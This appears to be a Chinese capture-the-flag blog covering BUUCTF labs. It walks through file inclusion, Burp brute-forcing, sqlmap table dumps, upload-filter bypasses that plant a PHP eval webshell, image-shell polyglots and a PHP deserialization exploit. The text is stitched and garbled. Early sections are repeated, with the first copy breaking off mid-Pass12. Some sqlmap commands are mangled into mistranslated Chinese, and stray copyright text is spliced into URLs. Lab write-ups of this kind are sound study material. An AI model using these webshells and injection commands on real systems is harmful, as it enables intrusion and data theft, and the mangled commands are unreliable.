Linux Labs 1
- date:“”title:Basic1 updated:“2024-04-16T17:15:23.078+08:00”-## Linux Labs 1 题目提供了ssh地址用户名和密码 通过登录ssh,在当前目录的上一层有flag.txt文件,其中就是需要提交的flag
BUU LFI COURSE 1
![https://r2.kwxos.pp.ua/Qexo/24/4/13/9f671957147486774c8a865857f8587d.png](https://r2.kwxos.pp.ua/Qexo/24/4/13/9f671957147486774c8a865857f8587d.png) 文件包含在 php 中,涉及到的危险函数有四个,分别是 include()、include_once()、require()、require_once()
。 区别如下: include
:包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。 include_once
:和 include 类似,不同处在于 include_once 会检查这个文件是否已经被导入,如果已导入,下文便不会再导入,直面 once 理解就是只导入一次。 require
:包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。 require_once
:和 require 类似,不同处在于 require_once 只导入一次。 当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。 解题:?file=/flag
会获得 flag{1be58bbe-0f6f-47b2-87ad-5c7d50264606}
ngnix的日志记录 ?file=/var/log/nginx/access.log
会出现操作记录
BUU BRUTE 1
此题是密码爆破题 解题工具:burpsuite 通过猜用户名为admin,密码返回提示为四位密码 ![https://r2.kwxos.pp.ua/Qexo/24/4/13/d4e9e025532324740a07046edc45d9f1.png](https://r2.kwxos.pp.ua/Qexo/24/4/13/d4e9e025532324740a07046edc45d9f1.png) 将捕获的密码提交链接发送到intruder 添加payload位置后,设置payload,,按照如下设置,点击开始攻击进行攻击 ![https://r2.kwxos.pp.ua/Qexo/24/4/13/e120792dc116762efe5c1c9654a516ba.png](https://r2.kwxos.pp.ua/Qexo/24/4/13/e120792dc116762efe5c1c9654a516ba.png) 然后等待爆破,观察长度位置,如果长度变化,可点击长度进行排序,如有不同长度,则可能是目标密码,然后取得flag ![https://r2.kwxos.pp.ua/Qexo/24/4/13/9e60add13161db7f88acd1112a3ce71f.png](https://r2.kwxos.pp.ua/Qexo/24/4/13/9e60add13161db7f88acd1112a3ce71f.png)
BUU SQL COURSE 1
此题利用sqlmap 文档:https://sqlmap.highlight.ink/ 题目提示sql,首先想到使用sqlmap 点击后,打开浏览器开发者工具,发现一条链接,使用sqlmap进行扫描 发现扫描成功,发现存在SQL注入 查看文档,使用指定参数,查看当前数据库中存在的数据表
sqlmap http://6daac7a3-2eff-4f06-b2a2-2b537c2b5ef0.node5.buuoj.cn:81/backend/content_detail.php?id=3 -D news --tables
http://6daac7a3-2eff-4f06-b2a2-2b537c2b5ef0.node5.buuoj.cn:81/backend/content_detail.php? id=三维新闻--表格` 发现以下数据表: ![https://r2.kwxos.pp.ua/Qexo/24/4/13/334cb697af141f14b9bb06b9d85f38b3.png](https://r2.kwxos.pp.ua/Qexo/24/4/13/334cb697af141f14b9bb06b9d85f38b3.png) 然后使用--dump参数获取,表中的数据
sqlmap http://6daac7a3-2eff-4f06-b2a2-2b537c2b5ef0.node5.buuoj.cn:81/backend/content_detail.php?id=3 -D news -T admin --dump
http://6daac7a3-2eff-4f06-b2a2-2b537c2b5ef0.node5.buuoj.cn:81/backend/content_detail.php? id= 3D新闻-T admin --dump ` 获取以下数据,然后直接登录即可获得flag
Upload-Labs-Linux
Pass01
构造一句话木马,放入文件,并将其后缀改为.php.jpg 然后将其上传,复制图片地址 ![https://r2.kwxos.pp.ua/Qexo/24/4/13/aeb2922c8f6188e50ff723dfc6cf2e50.png](https://r2.kwxos.pp.ua/Qexo/24/4/13/aeb2922c8f6188e50ff723dfc6cf2e50.png) 打开蚁剑,右键点击添加数据: 再右键添加的链接,使用命令
find / | grep flag
查看flag所在目录,cat flag
即可看见flag
Pass02
02的文件后缀限制改为了,jpeg,png,gif 所以只需要将后缀改为.php.jpeg即可 步骤如上所示
Pass03
此题考查,php的其它执行后缀 除了 .php
还有 .php3、.php5、.phtml
等,所以将文件名后缀改为 .phtml
发现上传成功,测式蚁剑连接,直接成功,其他步骤如上
Pass04
将文件后缀改为1.php.png即可 操作步骤和上述一样
Pass05
此题并未将后缀进行大小写转化,所以,可以将后缀改为 .Php
后续步骤如上述一样
Pass06
网上说的是在.php后加空格,但是我没做出来,访问时必须加上20%才行,我不明白为啥,可能是因为操作系统原因
Pass07
方法一:通过后缀改为 .php.png
又成功了,很奇怪 方法二:通过后缀加上.如 .php.
Pass08
这一题并未过滤 ::$DATA
,对这题又没做出来,访问后直接就是代码,并未执行,很难受,按网上方法是 .php::$DATA
Pass09
此题又可使用 .php.png
来解答 网上方法使用 .php. .
点与点之间有空格,所以我又执行失败
Pass10
此题过滤文件名中的php但是只过滤一次,所以,直接使用 .pphphp
过滤之后文件名后缀又变为了 php
Pass11
直接在路径后加上 /phpinfo.php%00
本题要求php版本小于等于5.3.4,但是题目环境在PHP Version 7.2.21,所以不能执行
Pass12
网上使用的是直接将路径改为1.php+
Linux Labs 1 ##Linux实验室1
题目提供了ssh地址用户名和密码 通过登录ssh,在当前目录的上一层有flag.txt文件,其中就是需要提交的flag
BUU LFI COURSE 1
![https://r2.kwxos.pp.ua/Qexo/24/4/13/9f671957147486774c8a865857f8587d.png](https://r2.kwxos.pp.ua/Qexo/24/4/13/9f671957147486774c8a865857f8587d.png) 文件包含在 php 中,涉及到的危险函数有四个,分别是 include()、include_once()、require()、require_once()
。 区别如下: include
:包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。 include_once
:和 include 类似,不同处在于 include_once 会检查这个文件是否已经被导入,如果已导入,下文便不会再导入,直面 once 理解就是只导入一次。 require
:包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。 require_once
:和 require 类似,不同处在于 require_once 只导入一次。 当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。 解题:?file=/flag
会获得 flag{1be58bbe-0f6f-47b2-87ad-5c7d50264606}
ngnix的日志记录 ?file=/var/log/nginx/access.log
会出现操作记录
BUU BRUTE 1
此题是密码爆破题 解题工具:burpsuite 通过猜用户名为admin,密码返回提示为四位密码 ![https://r2.kwxos.pp.ua/Qexo/24/4/13/d4e9e025532324740a07046edc45d9f1.png](https://r2.kwxos.pp.ua/Qexo/24/4/13/d4e9e025532324740a07046edc45d9f1.png) 将捕获的密码提交链接发送到intruder 添加payload位置后,设置payload,,按照如下设置,点击开始攻击进行攻击 ![https://r2.kwxos.pp.ua/Qexo/24/4/13/e120792dc116762efe5c1c9654a516ba.png](https://r2.kwxos.pp.ua/Qexo/24/4/13/e120792dc116762efe5c1c9654a516ba.png) 然后等待爆破,观察长度位置,如果长度变化,可点击长度进行排序,如有不同长度,则可能是目标密码,然后取得flag ![https://r2.kwxos.pp.ua/Qexo/24/4/13/9e60add13161db7f88acd1112a3ce71f.png](https://r2.kwxos.pp.ua/Qexo/24/4/13/9e60add13161db7f88acd1112a3ce71f.png)
BUU SQL COURSE 1
此题利用sqlmap 文档:https://sqlmap.highlight.ink/ 题目提示sql,首先想到使用sqlmap 点击后,打开浏览器开发者工具,发现一条链接,使用sqlmap进行扫描 发现扫描成功,发现存在SQL注入 查看文档,使用指定参数,查看当前数据库中存在的数据表
sqlmap http://6daac7a3-2eff-4f06-b2a2-2b537c2b5ef0.node5.buuoj.cn:81/backend/content_detail.php?id=3 -D news --tables
http://6daac7a3-2eff-4f06-b2a2-2b537c2b5ef0.node5.buuoj.cn:81/backend/content_detail.php? id=三维新闻--表格` 发现以下数据表: ![https://r2.kwxos.pp.ua/Qexo/24/4/13/334cb697af141f14b9bb06b9d85f38b3.png](https://r2.kwxos.pp.ua/Qexo/24/4/13/334cb697af141f14b9bb06b9d85f38b3.png) 然后使用--dump参数获取,表中的数据
sqlmap http://6daac7a3-2eff-4f06-b2a2-2b537c2b5ef0.node5.buuoj.cn:81/backend/content_detail.php?id=3 -D news -T admin --dump
http://6daac7a3-2eff-4f06-b2a2-2b537c2b5ef0.node5.buuoj.cn:81/backend/content_detail.php? id= 3D新闻-T admin --dump ` 获取以下数据,然后直接登录即可获得flag
Upload-Labs-Linux
Pass01
构造一句话木马,放入文件,并将其后缀改为.php.jpg 然后将其上传,复制图片地址 ![https://r2.kwxos.pp.ua/Qexo/24/4/13/aeb2922c8f6188e50ff723dfc6cf2e50.png](https://r2.kwxos.pp.ua/Qexo/24/4/13/aeb2922c8f6188e50ff723dfc6cf2e50.png) 打开蚁剑,右键点击添加数据: 再右键添加的链接,使用命令
find / | grep flag
查看flag所在目录,cat flag
即可看见flag
Pass02
02的文件后缀限制改为了,jpeg,png,gif 所以只需要将后缀改为.php.jpeg即可 步骤如上所示
Pass03
此题考查,php的其它执行后缀 除了 .php
还有 .php3、.php5、.phtml
等,所以将文件名后缀改为 .phtml
发现上传成功,测式蚁剑连接,直接成功,其他步骤如上
Pass04
将文件后缀改为1.php.png即可 操作步骤和上述一样
Pass05
此题并未将后缀进行大小写转化,所以,可以将后缀改为 .Php
后续步骤如上述一样
Pass06
网上说的是在.php后加空格,访问时必须加上20%才行, 访问路径加上 include.php
,然后在加上 ?file=文件路径
,如下
http://fc06b48e-c227-4b0b-a872-7ebf5ffe3677.node5.buuoj.cn:81/include.php?file=./upload/202404131548515725.php%20
`http://fc06b48e-c227-4b0b-a872-7ebf5ffe3677.node5.buuoj.cn:81/include.php? file=./ Copyright © 2018 - 2019 www.jsjsj.com版权所有 我不明白为啥,可能是因为操作系统原因
Pass07
方法一:通过后缀改为 .php.png
又成功了,很奇怪 方法二:通过后缀加上.如 .php.
Pass08
这一题并未过滤 ::$DATA
,但是成功上传文件, 访问路径加上 include.php
,然后在加上 ?file=文件路径
,如下
http://fc06b48e-c227-4b0b-a872-7ebf5ffe3677.node5.buuoj.cn:81/include.php?file=./upload/202404131548515725.php::$DATA
`http://fc06b48e-c227-4b0b-a872-7ebf5ffe3677.node5.buuoj.cn:81/include.php? file=./ Copyright © 2018 - 2019 www.jsjsj.com版权所有
Pass09
此题又可使用 .php.png
来解答 网上方法使用 .php. .
点与点之间有空格,使用如上方法
Pass10
此题过滤文件名中的php但是只过滤一次,所以,直接使用 .pphphp
过滤之后文件名后缀又变为了 php
Pass11
直接在路径后加上 /phpinfo.php%00
本题要求php版本小于等于5.3.4,但是题目环境在PHP Version 7.2.21,所以不能执行
Pass12
网上使用的是直接将路径改为1.php+ 然后将hax处的 +
对应的hax值 2b
改为 00
![https://r2.kwxos.pp.ua/Qexo/24/4/13/354706ae5c82f09c576351c2e724497b.png](https://r2.kwxos.pp.ua/Qexo/24/4/13/354706ae5c82f09c576351c2e724497b.png) 但是上传失败
Pass13
此题使用图片码,用cmd命令打开图片和一句话木马共同存在的文件夹 使用以下命令创建图片马:
copy logo.jpg/b + shell.php/a shell.jpg
如果上面不行使用:
Get-Content -Path '1.jpg', '1.php' -Encoding Byte | Set-Content -Path 'shell.jpg' -Encoding Byte
然后访问路径加上 include.php
,因为此文件,会导致所调用的文件都被解释为php文件,访问路径如下,文件路径前加上/a,如下:
http://6ef1a75a-8119-4244-9fb0-b8e926e6d552.node5.buuoj.cn:81/include.php?file=a/../upload/2720240413153555.jpg
其他文件格式,使用相同方式
Pass14
也可使用图片马进行上传攻击
http://98826471-3db4-42bd-bba5-449ea62e0d61.node5.buuoj.cn:81/include.php?file=a/../upload/5220240414032228.jpeg
Pass15
同样可使用图片马进行攻击
http://98826471-3db4-42bd-bba5-449ea62e0d61.node5.buuoj.cn:81/include.php?file=a/../upload/4720240414033409.jpg
Pass16
先上传一张gif图片,再将上传后的图片下载下来 使用winhex进行图片hex对比,按照如下方式,将白色区域进行修改, 添加一句话木马
<?php @eval($_POST[123])?>
<?php phpinfo();?>
添加后保存,样式如下: 然后路径加上include.php
方式如上:
http://98826471-3db4-42bd-bba5-449ea62e0d61.node5.buuoj.cn:81/include.php?file=a/../upload/1691420137.gif
Pass17
同样上传pass16题一样的图片马,即可进行webshell连接
Pass18
同样使用图片马可直接连接,与pass16一样操作方式
http://98826471-3db4-42bd-bba5-449ea62e0d61.node5.buuoj.cn:81/include.php?file=a/../upload1713073358.gif
Pass19
方法一:可将上传php改名为.php.jpg
方法二:也可使用pass16方法 方法三:通过burp抓包 先上传php木马文件,bp拦截包后,修改如下所示位置,在.jpg
前加上.php+
, 再在hex处将+
对应的2b
修改为00,再放行,即可,但提示上传出错,建议还是用上面两种
Pass20
直接使用pass16的图片马和使用方法
BUU CODE REVIEW 1
此题代码:
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
此题中,通过get获取pleaseget参数,通过post获取pleasepost参数,然后==
是弱类型比较,且两个字符不相等,如s878926199a
,和s155964671a
两个字符不同,但md5值都是以0e开头,且都是通过post参数方式 原理通过input
和 correct
实际上都指向了同一个值,这使得在 __destruct()
方法中的条件 $this->correct === $this->input
成立,从而触发了漏洞。 反序列化生成代码
<?php
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
// 创建一个 BUU 对象
$obj = new BUU;
// 将 input 设置为一个恶意值,使得 $this->correct === $this->input
$obj->input = &$obj->correct;
// 将对象序列化为字符串并输出
echo serialize($obj);
输出结果为O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
执行方式: 即可获取flag
BUU UPLOAD COURSE 1
题目上传并未对文件进行限制,直接上传一句话木马,且告诉了上传地址 一句话木马
<?php @eval($_POST[123])?>
<?php phpinfo();?>
地址
http://951e5221-2697-4fa7-8483-9058c5764e1c.node5.buuoj.cn:81/index.php?file=uploads/661e40ed1f1bd.jpg
然后就可以直接用蚁剑访问了